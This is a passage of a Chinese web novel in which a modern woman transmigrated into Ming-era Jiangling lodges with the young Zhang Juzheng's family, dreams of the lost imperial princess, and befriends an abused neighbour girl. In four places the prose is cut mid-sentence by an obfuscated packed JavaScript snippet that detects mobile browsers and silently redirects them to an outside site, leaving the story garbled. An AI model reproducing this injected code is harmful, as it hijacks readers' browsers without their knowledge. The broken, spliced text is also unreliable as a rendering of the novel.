半个月前,陛下在显陵临时营帐内遇刺,大都督陆东湖赶到后,虽然杀退了那帮不要命的流匪,却发现皇长女失踪了。 这可是孝洁皇后与陛下的独女!据说她降生时口衔玉珠,紫气冲庭,因此有个小名唤作“玉奴”。陛下登极以来十五载,后宫内有且仅有这么一个孩子。直到十五年十月,太子降生,国本才算稳定下来。 皇长女不仅生而有异,还悟性颇高,极有仙缘。她三岁识字,六岁时已通读《道德真经》《冲虚真经》《玉皇经》等。七岁时陛下力排众议,甚至廷杖了几位上疏反对的给事中,将皇长女送到文华殿,由时任首辅的张孚敬代为教导。 其荣宠之盛,可见一斑。 这个金疙瘩丢了,负责营帐守卫的武官们哪一个不是噤若寒蝉,脖子凉嗖嗖?严嵩却主动为他仇鸾请缨,把吃力不讨好的寻找皇长女的任务往他头上揽。 甚至为了皇室颜面,这寻人还要幌作剿匪,暗中查探。 倘若找不到,或者只找到了尸体,他仇鸾别说乌纱帽能不能保住,项上人头也该掉了。 从承天府沿着流寇逃亡路径一路搜寻,好不容易在荆州府江陵县一家当铺找到了公主的玉佩,顺藤摸爪抓了几个人牙子,却只听见人丢了,没有下一步的线索。哪怕他把三个牙侩剥皮揎草挂在城门楼上,也查不到皇长女任何消息。 仇鸾心里猜测是凶多吉少了,报信给严嵩希望把他摘出去另派人来找,却只得到了一封口气强硬的回信,明里暗里指责他效率低下,推三阻四。 他看完信,气得一脚踢翻了正堂的黄花梨木桌。 另一边,连嬅已经进了张家的大门。她尽量克制自己膨胀的好奇心,绝不东张西望,眼观鼻鼻观心,一副忐忑且人畜无害的样子。 张府是一个并不算大的四合院,布局和连嬅上辈子在农村的老家有点像。只有一道门,进去就能看见正对面的堂屋,左右两间厢房,加上堂屋两边的东西耳房,以及堂屋对面的倒座房,一共六间,被青灰色石砖垒成的院墙团团围住。 正中央的天井还算宽敞,右侧挖了一小片菜园,种着些常见的萝卜白菜,还有韭菜荠菜之类正当时令的蔬菜,左侧是一口手摇式压水井,一座石磨盘。西边厢房外还种了几棵竹子。 张家的人口放在这个常常四世同堂、甚至五室同堂的年代其实简单得很,只有住在正房的张居正的祖父张镇、住在东边厢房的父亲张文明、母亲赵氏,以及西边厢房里的张居正和两个弟弟,张居敬、张居易。 确如居正上徐阶书中所说:“非阀阅衣冠之族,乏金张左右之容”,但能在荆州府府治江陵县有这么一座青砖石瓦的四合院,还有一位乳媪、两个家奴,用连嬅所在的时代背景描述,那就是荆州市区小别墅配三个保姆和保安,也绝对不是什么穷苦人家。 张文明与友在外交游,尚未归家,张镇在辽王府当护院,还没到下值的时间,因此连嬅见到的只有张居正的母亲赵氏。 历史很少描绘女人。在连嬅看过的所有与张居正有关的史料里,她知道男神的祖父张镇既不读书也不治产,为人豪爽放浪,在辽王府当护院,嘉靖十九年张居正中举后,张镇醉死于辽王府,很有可能是辽王朱宪?怀恨在心,蓄意报复。她也知道男神的父亲张文明是个读了四十年书也没考上举人的老秀才,最后在张居正改革的紧要关头一命呜呼,造成了万历五年最风波汹涌的“夺情”事件。 但是张居正的母亲,这个生养、抚育了“大明第一首辅”的女人,并没有得到任何笔墨。 东厢房隔了三间屋,一间窄小的厅堂、一间卧室、一间书房。赵氏就坐在门口,借着霞光缝衣服,听见声音时从针线布料里抬起头,一张清秀的瓜子脸,约摸三十岁,眼角带着细纹,笑得一团和气:“白圭下学了,晚饭想吃点什么?” 然后她很自然地看到了站在儿子身后,头顶将将到儿子下颏的小姑娘:“这位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736927|157358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是?” 连嬅心脏砰砰一阵跳。她给自己编了一路的身世,比如出生在顺天府官宦世家,父亲抛妻弃女当了道士,自己跟着母亲流离失所。母亲病逝后,不知道怎么流落到荆州地界,病倒后被心善的张居正救了,于是甘愿在张府当个婢女以报救命之恩云云。 说到“婢女”,一个现代人的内心总是难免别扭。但想想人家戚继光都愿意给张居正当“门下走狗小的戚某”,她比戚帅高贵在哪里?当个小小婢女也无妨嘛。 于是脑残粉就这么顺利地说服了自己。 但她还没来得及自陈,张居正却代她开了口:“是一位同窗的妹妹,他家里搬去顺天府了,这孩子留在荆州没人照顾,想在我们家暂住。” 连嬅愕然。但她反应很快地低下了头,配合地流露出几分羞怯难为情。 赵氏把她叫到跟前,看见一张微微泛红的杏脸,含羞低垂的眼帘,和水汪汪闪烁不定的眸光。她轻轻拍了拍女孩的肩头:“好孩子,你叫什么名字?” “连嬅。” “乖吖儿。”赵氏又摸了摸她的头,“婶子屋里三个儿子,正好缺个女儿呢。你安心在这里住着,就当自己家。” 张府的下人里,一个看门跑腿的小厮,跟着张文明在外;一个是未满周岁的张居易的奶娘,以及一个负责做饭打理庭院的嬷嬷,姓王,都住在倒座里。 以连嬅现在说大不大,说小不小的尴尬年龄,她显然不能住在西厢房,正屋和东厢房也不行,倒座除了下人房就是杂货屋,于是只剩下两个耳房。东耳房已经改成了灶屋,西耳房虽然也堆了些杂物,但收拾收拾还是能住人的。 王嬷嬷清理了木板床上的尘灰,把桌上柜子里的书卷纸稿整整齐齐地码进木箱里。看着不多,却塞了满满一整箱。她乍一下竟然没抬起来。 连嬅主动请缨:“我来搬吧。” 就她那细胳膊细腿,别说搬不搬得动,不弄折了都算好的。王嬷嬷笑一笑,婉言劝退:“这箱子重得很——” 然后她目瞪口呆地看着连嬅轻松抱起了半人高的箱子,漏出半张跃跃欲试的脸:“嬷嬷,这要放哪?” 王嬷嬷呆愣在原地,手指了指西厢房的方向:“大公子的书房。” 在何太医那里休息了两天,连嬅的伤就差不多好全了。她上辈子从小皮实,头磕石头上,石头磕碎了,脑门也就肿两天包,什么感冒发烧的更是睡一觉就好了,对自己的恢复速度毫不意外。 像她这样闲不住的,病一好就想找点事做。眼看着王嬷嬷忙上忙下,早想搭把手了,可又不敢乱动屋里的东西,只能巴巴地站在一边看。 搬运就简单了,反正她力气大,只要知道目的地在哪,抱过去就行。 正在书房里练字的张居正听见拍门声,随口说了个“进”,一偏头,看见一个长了腿的大木箱子。 箱子顶上冒出半颗头,一对弯弯的柳叶眉,一双亮晶晶的水杏眼:“大公子,箱子搁哪里?” 他笔尖一顿,最后的“平”字被墨水晕成了一团。 5. 第 5 章 等到夕阳最后一抹余晖也快要埋入黑暗时,张府里真正的主人,张居正的祖父张镇终于回来了。他是个精神瞿烁的老爷子,面善又和蔼,见了连嬅,也没多问几句情况,就塞给她一把粽子糖。 连嬅捧着糖,心里竟有些发酸。 她明明清楚地知道张爷爷将死于一年以后的辽王府酒宴,却不知道自己能为他做些什么。 上一任辽王朱致格两年前就去世了,而毛王妃无子,他的庶长子朱宪节要为其守孝三年,明年便能嗣位。 据说毛王妃教子时常常以张居正为正面典型,动辄“你看看人家张居正,你再看看你”,甚至留下一句“尔不才,终当为张生穿鼻”,即“你没本事,以后都得听张居正的话”。 这倒是没说错,为张生穿鼻的何止一个朱宪节?整个大明朝都得为张生穿鼻。 可朱宪节偏偏是个极其荒淫残暴无耻之徒。他喜欢一些邪魔歪术,某天想要一颗“有生气”的人头,就派校尉把街头醉汉顾长保的头颅割下来献给他。他出行时从不坐车马,而是带着数十个护卫,见到有美貌的少年少女,便抢回府内淫污,甚至建了三座宫室用以“收藏”。 康恪王朱宠淄,论辈分是朱宪节的爷爷辈,但位在辽王之下。他的妻子黄氏相貌出众,朱宪节念念不忘。等朱宠淄一死,朱宪节就把黄氏哄入密室□□,但黄氏不从。朱宪节大怒,饿了她六天,最后把人活活钉到棺材里,抬到门外当场烧死。 这就是有明一朝宗室的缩影。 朱宪节是王爷,张镇只是个家奴。一个王爷想弄死他的家奴,连捏死蚂蚁的力气都不需要。 连嬅心绪芜杂,没滋没味地吃过晚饭,草草洗漱后便躺上床。她把自己带来的包袱拆开,里面只有一件破破烂烂的道袍。捏着袖口的卷边摩挲良久,她重新把衣服塞回了包裹。 二更天,街道上一声锣响,伴随着更夫拖长了声音的“关门关窗,防火防盗——”,连嬅却恍惚听见了小孩的哭声。 她耳力好,凝神细听时又听见了女人的呜咽声,木头的摔碰声——从西边传来的。 那应该是张府的左邻。 这些嘈杂的声音直到四更才停,连嬅也睁着眼失眠到了四更。公鸡睡完一觉已经开始“喔喔”地叫嚷,她终于在鸡叫声里闭上了眼睛。 这一觉也不踏实。从学校毕业了半年的连嬅在梦里重返课堂,还是名师一对一那种。 站在她对面的人和她男神一样姓张,也一样官居首辅,是个干瘦老头。她称呼这位张首辅为“张先生”。 张先生本名张璁,后来为了避讳改名张孚敬,浙江温州人,47岁才考中进士,仅仅八年就当上了首辅,属于大器晚成的典型。对明史略有些了解的人应该知道,他是因议礼时迎合圣意而扶摇直上的。于是不少人便盖棺定论,以为不过是个谄媚奉上的佞臣,而不知道他有“明代改革第一臣”的美誉。 当然,张先生不会教她怎么革她爹的命,只是在教她怎么写“青词”。 也就是跳大神的一边手舞足蹈一边往火里丢的纸。 他讲起东坡先生和王荆公的青词,以《徐州祈雨青词》、《集禧观洪福殿开启谢雨道场青词》等为例,谈宋代借青词向上天祈福的道教传统。张先生将这两个人并列而论,又不可避免地发散到苏轼与王安石作为保守派与改革派在政治立场上的对立。 连嬅在旁边听得云里雾里,脑子里只有一句“表达了作者忧国忧民的思想”——她写诗歌阅读理解经常套这句话。 介绍乌台诗案时,张先生终于不满足于唱独角戏。他问起连嬅的看法—— “追陪新进”、“老不生事”有无愚弄朝廷之嫌?“读书万卷不读律,致君尧舜知无术”、“岂是闻韶解忘味,尔来三月食无盐”有无谤议变法之意? 连嬅满头问号,眼冒金星,却听见自己清楚地回答道:“诗句不要紧,以有心算无心,总能罗织罪名。要紧的是东坡居士素有才名,又对新政不满,新党兴此文字狱,意在杀一儆百,控制言论耳。” 张先生沉默片刻,轻抚着花白的长髯:“……殿下似乎很为苏子瞻不平。” 随即他又叹了口气,摇摇头:“殿下心思纯善,也是好事。” 宋代党争自神宗启用熙宁变法以来,三十多年绵延不息。直至徽宗以蔡京为相,将旧党与政敌全部打为奸臣,立元佑党碑刻名以示天下等,才短暂遏制了党争。 可惜蔡京空有政治斗争之天赋,而无治国理政之才干,在北宋靖康之变后,彻底沦为万人唾骂的乱臣贼子。 单论党争,哪里有一目了然的对与错?若果真要压制言论,推行新政,对反对者举起的屠刀却仅仅只有贬官,那么旧党的势力只会如野草般,春风吹又生罢了。 欲终结私党内耗,己应先为党魁。只有用雷霆手段控制一切言路,独断专裁,施行新政才不会左支右拙,进退两难。 这是张璁厉行变法几经起落后所得的教训。可他年事已高,对庙堂上的许多争斗已经疲于应对了。 一堂别开生面的语文课后,画面一转,连嬅看见自己狗狗祟祟地窝进了一辆骡车里。 这是光禄寺采办食材所用的运输工具。 连嬅对光禄寺了解不多,只知道是大明四不靠谱机构之一,所谓翰林院文章,武库司刀枪,光禄寺茶汤,太医院药方。 但此时此刻,她脑子里却清楚地计算着光禄寺何时将采买到的食材运到尚膳监,尚膳监何时进行卸货,两边的防卫交叉何时有空当,她在这辆骡车里待多久才能跟着出宫…… 出宫?出宫去做什么? 张先生病了,皇祖母不许她出门,父皇自然更不会答应,那她只能自己想个主意出去探病了…… 五点刚过,在梦境里忙碌了两小时的连嬅睁开了疲惫的双眼。这具身体的生物钟完全压制了她想睡懒觉的欲望,哪怕熬夜到两三点,睁开眼还是熟悉的五点。 她起身,在黑暗里摸索着穿好衣服,下床时一不小心踢到了桌子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736928|157358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知道藏在哪个犄角旮旯的书掉了出来。 连嬅把书放在桌上,心想:怎么还漏了一本,等会儿也送去书房吧。 早餐是简单的白粥配腌白菜,吃完饭,张居正就得收拾东西去府学。军户里每一代只有一个孩子能读书,六岁的张居敬只能留在家里,陪着不满周岁的弟弟张居易玩。 连嬅把房间里那本《周礼注疏(卷一)》拿进了张居正的书房,出于轻微强迫症顺手帮他整理了一下桌面。 有一张写废了的竹纸,微微泛黄,就放在书桌左上角。 端正标准的馆阁体,像印刷一样写着“苍生有望山中相,白首愿观天下O”,最后一个字被墨迹晕染坏了,但依稀能辨认出是个“平”字。 这是张先生的诗。 想到那个清瘦刚明的老头,连嬅的情绪蓦然低落下来。张孚敬病逝于今年二月份,讣告送来时,南巡的车马刚到承天府。 她盯着那个糊成一团的“平”字满怀哀思,又猛然一惊:这应该是原本那个病死在荆州府路边的“朱连嬅”的伤感,怎么会作用在现在的“连嬅”身上? “当、当”,书房门口传来两声指节敲击门框的声音,连嬅扭过头,泛红的双眼正好看见靠在门边的张居正。 ——男神你不是上学去了吗? 书房没关门,张居正走进房间,拿上险些忘了带的课业,视线在连嬅手里捏着的竹纸上一瞟,疑惑地顿了顿。 事情是这样的,你听我狡辩—— “耳房里有本书没带过来。”连嬅指指那本《周礼注疏(卷一)》,然后乖巧地低下头,小声解释,“我看桌上有点乱,想顺便收拾一下,不小心灰进了眼睛。” 有句话叫做,撒一个谎,就得用无数个谎言来掩盖,这就是谎言的无限膨胀。 “我看起来很可怕吗?”张居正笑了一声,“怎么你一见我就一副鹌鹑样?” 明明面对母亲和祖父都表现得挺自如,一到自己这边就是战战兢兢的受气包样。 这叫敬畏! 连嬅默默在心底纠正。 “小书房确实灰比较大。我不常在家,你识字的话来这里看看书也好。”他说着,又补充了一句,“不过,这里的书都没什么意思,你不一定看得下去。” 连嬅抬起头,见他神色温和坦然,的确看不出一点被冒犯的意思,终于松了口气。 “多谢公子。我识字不多,也未必看得懂呢。” 这是谦辞,但张居正的话的确没有一句虚言。 明代从乡试到会试皆以五经取士,即《诗》、《书》、《礼》、《易》、《春秋》,张居正专治《礼》,他书房里放的除了四书就是《礼记》以及各种注释和参考书,对连嬅来说,效果堪比催眠药。 他也的确不常在家,府学里提供住处,除了每月初一十五放假回趟家,或者偶尔缺东西了回来拿,其他时候还是住学校更方便。 这一天是四月初二,此后一周,连嬅都没有再见到张居正。 6. 第 6 章 在怎么讨人喜欢这方面,连嬅不仅深有研究,还是其中的佼佼者。 她上辈子就是村里的孩子王,带着一群猴儿上房揭瓦下水摸鱼不在话下,到了大人跟前还会习惯性装乖,从来没被戳穿过。上学后靠着无私借作业的情分,一整个班大半部分都是她的忠实拥泵。 首先人长得好看就是有优势,其次谁会防备一个十岁出头孤零零无亲友庇护的小姑娘? 更何况她踏实勤快,每天帮着忙里忙外,有什么脏活累活还主动往身上揽。比如今天府里劈好的柴火用完了,王六娘年近五十,正犯腰病,李惠芹又是个不到二十岁还在哺乳期的小妇人。两个人面面相觑,对库房里圆滚滚的干木头束手无策。 连嬅见了,卷卷袖口拎起斧头,手起斧落,一劈四瓣,看呆了没见过这场面的李惠芹。 “连姑娘,这哪是你一个娇客该干的活儿,你快把斧头搁下吧。” 第二次被连嬅的怪力惊到的王六娘也跟着劝道:“是啊,夫人若知道了,还得怪我们待客不周。” 连嬅可没那么厚脸皮,在别人家里当个衣来顺手饭来张口的大小姐。她朝两个人笑笑,手里动作却没停:“举手之劳罢了,这有什么。夫人要是听了不高兴,那我们悄悄的,别告诉她。” 这小姑娘干活儿的利落程度真是和长相半点不搭。不说劈柴挑水,连杀鸡都格外干脆。单手拎着一对鸡翅膀,刀从鸡脖子上一抹,然后一只手按住鸡头,等血流干了,直接扔进滚水里烫毛。 被割了脖子的鸡在她手里连扑腾都扑腾不动,简直像被压进了五指山的孙猴子。 李惠芹憋了好几天,还是没忍住好奇:“连姑娘,你家里是做什么营生的?” 连嬅答曰:“嗯……修行的道士。” 这年头的道爷可真多才多艺啊…… 但听夫人说,小姑娘是被家里人扔在荆州的,多半从小就忙活家务,照顾爹娘兄弟,什么脏活儿累活儿都做惯了。 想到这里,李惠芹看连嬅的目光更柔和了。 短短三天时间,连嬅十分顺利地融入了张府的下人圈。王六娘和李惠芹对她不仅格外照顾,还会和她聊聊身世遭遇、邻里八卦,安慰她的心情。 她知道王六娘是三十几岁时跟着家里人逃难来的江陵,原本有个丈夫,被催缴的皂隶打死了。还有两个儿子,逃难的时候被婆婆卖了,换了一只鹅。她跑出来找儿子没找到,差点饿死在街头,被好心的赵夫人收留,这才来到张府。 李惠芹的命要好一点。她是江陵县本地人,丈夫也是个军户,在本县一户姓刘的缙绅家当帮佣。三个月前生了个儿子,胎里不足,一直求医问药没见好,家里的那点薄底却掏空了。丈夫实在借不来钱,偷了刘家二两碎银子,被打断了一条腿,如今只能躺在床上。 孩子终究没保住,大人也快走上绝路了。正巧张府给小公子找奶娘,李惠芹就来赚点钱补贴家用。 她今年才十九岁,比连嬅上辈子还小三岁,却已经嫁人生子,又经历丈夫残疾、幼子夭折之痛,看着不像是未满双十的少女,却像三十来岁,饱经风霜的妇人。 府里还有个小厮,跟在老爷(也就是张文明)身边。连嬅最初还以为是鼎鼎大名的游七,没想到姓陈,叫陈四。 看来游七还没登上历史舞台呢。 这可是官居宰辅的张居正的内务总管。倘若连嬅以婢女自居,那游七大概就是她职业生涯的标杆。 沈德符在《万历野获编》里提到,有位东省词林大僚写了篇《五七九传》,即江陵、吴县、太仓三位首辅的家奴,游七、宋九和王五。江陵指的是出身江陵的张居正,吴县指申时行,太仓指王锡爵。三位首辅各有一个颇作威福的豪奴,狗仗人势,其中最盛的就是游七。许多勋贵、高官争相与他交往,甚至把女儿嫁给他做妾。 这江湖地位,属于是登峰造极了。 但眼下,张居正还只是个小小秀才,张府也不过是江陵县一个勉强算殷实的普通人家。 下人忙着打理家务,赵夫人也没闲着,除了带孩子,还得做些绣活儿赚钱。 男人们都有正事在外,要么当值、要么交游、要么上学,剩下老弱妇孺,每天都过着和前一天几无差别的日子。 张居易这个小朋友饿了喝奶,困了睡觉,倒没什么无不无聊的。六岁的张居敬就闹腾多了,每天哄他吃饭睡觉都要耗尽赵夫人的精气。 资深孩子王,曾经兼职做过幼教的连嬅想了个法子。 她在张府办起了故事会。 原本想讲点哄小孩的童话故事,什么《小红帽》《丑小鸭》《白雪公主》的,奈何张居敬他小人家嗤之以鼻,不感兴趣,所以不得不转换画风。 说郑和下西洋的船队里有个姓鲁的士绅,因为航行时出了意外,不幸流落到某个荒岛。他靠双手搭建起自己的住宅,还拥有了土地和牧场。在岛上,鲁老爷救了一个野人,因为那天正好是初五,所以他给这个野人起名初五,还教他学说话…… 张居敬一副“我才不信你瞎编”的样子,耳朵却诚实地越凑越近。正缝着布袍的赵夫人听得入了迷,不小心被针扎了好几下。连嬅一直讲到鲁滨逊发现食人族,天光暗沉,终于到了吃晚饭的时候。 她喝了口水,宣布今天到此为止:“欲知后事如何,且听下回分解。” 张居敬瞬间炸毛了:“后面呢?不是要对付食人族吗?” 连嬅露出一个神秘的微笑:“你乖乖吃饭,睡一觉,明天我就接着讲。” 这是赤果果的威胁。张居敬咬咬牙,不屑地哼了一声:“不讲算了,等我哥回来,我去问他!” ……你能问得出来就有鬼了。张神童再怎么少年天才,也不可能知道一百多年后大洋彼岸的英国人写的《鲁滨逊漂流记》的情节。 吃过晚饭,连嬅照旧帮着王六娘抬水。淘米淘菜用剩的那些水刷完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736929|157358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锅碗,就泼进菜地里。她还顺便给西厢房外那几棵竹子浇了一点。 “阿姊,鲁老爷要怎么对付食人族啊?” 一道脆甜的声音从院墙上飘进来,连嬅抬起头,看见一个趴在墙上的小女孩。 故事会竟然还吸引到隔壁的小粉丝了。 她身形瘦小,两颊发黄,看着还没张居敬这个垂髫小儿大,但已经开始蓄发了,梳着整齐的双丫髻。 明代的儿童基本都是光头,有些七八岁开始蓄发,也有的十岁才开始。能蓄到扎髻的状态,起码也得两三年。 连嬅想起夜里经常听见的呜咽。她柔声问:“你叫什么名字?多大了?” “我叫珍娘,今年十三了。”吴珍娘答了话,又急急地催,“阿姊,你还没告诉我鲁老爷怎么对付食人族呢。” 算年龄,连嬅出生于嘉靖七年四月末,虚岁才十二,倒比吴珍娘小一岁。 但她无意纠错,只是笑一笑:“你想知道的话,明天可以过来听,但别趴在墙上了。” 回去时王六娘还在收拾灶屋,连嬅把瓷盆归置好,装作不经意地问:“嬷嬷,西边那一户住了什么人?我夜里时不时听见些杂音。” 王六娘叹口气,摇摇头,说:“那是吴相公家,他们家也是造业。” 珍娘姓吴,她爹叫吴敬儒,是个饱学的书生,早早便中了秀才,还办过私塾。附近乡里的孩子都在他那里读过书,张居正也不例外。 这吴敬儒自恃才学出众,偏偏久试不第,迟迟中不了举。后来私塾也不开了,终日里和一些下九流厮混,不知怎么染上了赌瘾。 手里的钱输光了,就变卖妻子的嫁妆,嫁妆银子用完了,就把家里能卖得出去的都卖了换赌资。他的长女吴瑞娘听说五两银子卖进了辽王府,剩下一个珍娘……哎,不好说。 连嬅穿越以来,见过的女子一个比一个命苦,硬要挑一个好的,恐怕只有梦里那个已经死去的朱连嬅。 虽说嘉靖对她不算亲近,可她还有个宠孩子宠上天的皇祖母,完全可以在紫禁城里横着走。 朱连嬅的性格也是最鲜活,最有人气儿的。她和循规蹈矩四个字沾不上一点边,每天除了读道经、画符箓、写青词,恨不得二十个小时都在谋划怎么溜出皇宫。 除了蹭“光禄寺”的骡车,她还试过大半夜爬宫门前的歪脖子槐树,借势翻越宫墙;或者打扮成小道童摸进西苑,混在老道士的一大堆跟班里光明正大走出宫…… 厚脸皮地说,颇有连嬅小时候上房揭瓦的风范。 可惜明代的特务机构太发达,路边摊卖酥油饼的大爷都可能是个便衣。朱连嬅最长只在宫外待过半天,就会被一脸苦相的锦衣卫或东厂探子千求万请地送回宫。 嘉靖十七年十二月初四,献太后病重崩逝,朱连嬅恣意妄为的童年生活也戛然而止。十八年三月末,她身患疟疾,流落到江陵街头,在极端痛苦中走向短暂生命的尽头。 7. 第 7 章 第二天一大清早,还没吃早饭,刚刚洗漱完的张居敬小朋友就坐不住了。 他顶着前额一小片桃子形状的短毛,一张和张居正有六七分相像但更圆钝的脸,眼巴巴地看着连嬅:“今天什么时候讲故事?” 你别顶着这张脸撒娇!属于犯规你知道吗! 连嬅艰难挪开视线:“嗯……等你用完朝食吧。” 虽然是小冰河期,到了四月,荆州也渐渐回温了。初四这天正好是清明节,天气居然格外晴朗。吃过早饭,赵夫人说要把被子都搬出来晒晒,于是大家在庭院里支起木架子,各自把枕头被褥收拾好。 正屋和东厢房,是赵夫人和李惠芹一起搬的,西厢房、耳房和倒座,是连嬅和王六娘一起。张居敬几乎寸步不离地跟在连嬅身边,为了早点听到鲁老爷漂流记续集,还帮着抱了两个枕头。 收拾停当了,赵夫人坐在太阳下,继续缝昨天做了一半的长袍。李惠芹抱着襁褓里的张居易,坐在院里晒太阳。王六娘巡视一遍菜园子,见韭菜长势喜人,割了一截放灶屋,又去给萝卜松土。 连嬅给自己倒了碗水,放在院里的石桌上,然后清清嗓子,继续讲昨天的《鲁宾逊漂流记》。 她从小过目不忘,虽然是小学六年级那会儿借同桌的书看的,情节什么的倒还记得挺清楚。唯一困难的是,要把鲁滨逊替换成“鲁老爷”,把星期五替换成“初五”。还有就是书里的一些现代化用语,她得在顺口说出去之前转换成明代人能听懂的形式。 种田流的小说,基本上波折都不大。讲了半个时辰,鲁老爷就从荒岛野人荣归故里,重新融入文明社会了。 一直在默默听故事的赵夫人问:“那座岛在哪里?现在还能过去吗?” 张居敬更是摩拳擦掌:“白马寺那边就有渡口,从那里坐船能到吗?” 连嬅:……你这熊孩子还挺有行动力。 “现在有海禁,去不了的。那一片兴许被海盗占领了吧。” 张居敬又问:“什么是海禁?” 这个问题解释起来就没完没了了。简单地说,海对面的日本正处于封建割据势力互相攻伐的状态,战败的一些地主,往往会组织武士、商人、浪人到中国沿海地区抢掠骚扰,也就是俗称的倭寇。 为了自我保护,明朝从洪武年间就开启了海禁。永乐时期,虽然有郑和下西洋的壮举,开放的也只是朝贡贸易,民间私人仍然不许出海。随着近些年倭寇之患愈演愈烈,海禁政策也越来越严格。 连嬅挠挠脸,不知道这话怎么说才能让一个六岁的小孩子听懂。她怕张居敬又要问什么是日本,什么是朝贡,索性跳过这个话题,换个故事接着讲。 西方背景的讲起来麻烦,那就挑个东方背景的。说南宋末年,金兵入侵,奸臣当道,全真派有个叫丘处机的,因为杀了汉奸被官兵追杀至江南牛家村,与两位义士郭啸天和杨铁心一见如故,还给他们即将出生的孩子送了“靖、康”两字为名…… 《射雕英雄传》可比《鲁滨逊漂流记》长得多,起码够讲个四五天。 晌午过后,有人拍门。连嬅在院里磨炭笔,听见声音洗了手去开门,然后发现门口站着的是昨天趴在墙头听她讲故事的吴珍娘。 她个子和连嬅差不多高,也就一米五,但瘦得像根棍,显得格外细长。 “你来听故事的?”连嬅拉过她的手,笑得很热情,“来院里坐吧,我给你讲。” 吴珍娘摇摇头,抿嘴微笑:“在墙边听完了。” 然后她低下头,问:“阿姊,我能来这里躲一会儿吗?我爹在家里拿着棍子抽人,我娘被打晕过去了,叫我到外面避避。” 连嬅的眉心瞬间拧成了川字,语气也冷下来:“珍娘,走,带我去你家看看。” 这种在外面受了气回家打妻儿发火的窝囊废,就该狠狠揍一顿,让他知道什么叫以暴制暴。 吴珍娘大惊失色,拽着连嬅的袖子哀求:“别,别去,他发了火谁劝都没用的。” “谁说我要劝他了,我把他揍一顿给你娘报仇!”连嬅说着就要往门外走。 这下吴珍娘急得眼泪都要掉出来了:“你怎么打得过他,他手里还有根二尺长的木棍呢!” 区区木棍,又不是柴刀,连嬅虽然身体缩了水,但收拾一个没练过武的书生还是绰绰有余。 “再说,再说你就算真打得过,等你一走,我跟我娘只会被打得更惨……” 这话彻底绊住了连嬅。 哪怕放在现代,还有不少承受家暴的妻子难以脱身,在女性地位更低的封建社会,吴珍娘的母亲甚至连提出和离的资格都没有。 她沉默两秒,收回迈出门槛的脚:“好吧,你来我房间,还能听听家里的动静。” 连嬅住的耳房并不宽敞,只放了一张床,一张木桌,一个原本用来装书的柜子。 两个年龄相仿的女孩并排坐在床边。 吴珍娘抹干眼泪,带着浓重的鼻音问:“阿姊,你是张家的远房亲戚吗?之前怎么从没见过。” 连嬅摇摇头:“不,我是被这家的大公子救了,在府上暂住的。” “小张相公?”吴珍娘问完,见连嬅点头肯定,露出一抹笑,“我爹说小张相公绝非池中之物,早晚要飞黄腾达的。” 那你爹这烂人还挺有眼力的。 “阿姊,你和小张相公关系如何?” 什么关系?救命恩人与被救者?偶像与粉丝?上帝与信徒? 见她一副不开窍的样子,吴珍娘啧啧两声,颇有些怒其不争。 “你长得这么好看,多往小张相公跟前凑一凑嘛,到时候人家飞黄腾达了,你不也跟着享福?” 这话说得在理,所谓一人得道鸡犬升天。不过连嬅对自己能否取代游七的位置深感怀疑,毕竟她从性别上就输得很彻底。 “小张相公也快到了娶妻的年纪,阿姊你近水楼台的,努努力说不定这辈子就有依靠了。”吴珍娘苦口婆心地劝,还热情支招,“你读过书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736930|157358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,肯定也认字,就去书房挑几本他看过的书研究研究。等他下了学,你带着书去请教,随便问点不要紧的,然后给他沏个茶、磨个墨,问他学业累不累,给他捏捏肩什么的……嗨呀,这事说不定就成了。” 连嬅听得一脸呆滞。 她还以为吴珍娘是个天真单纯的小丫头,现在看起来,好像她才是更天真单纯的那个。 她艰难地组织措辞,试图反驳:“小张相公将来飞黄腾达了,肯定要娶个名门望族的大家闺秀。我这种出身的,和他不般配啊。” 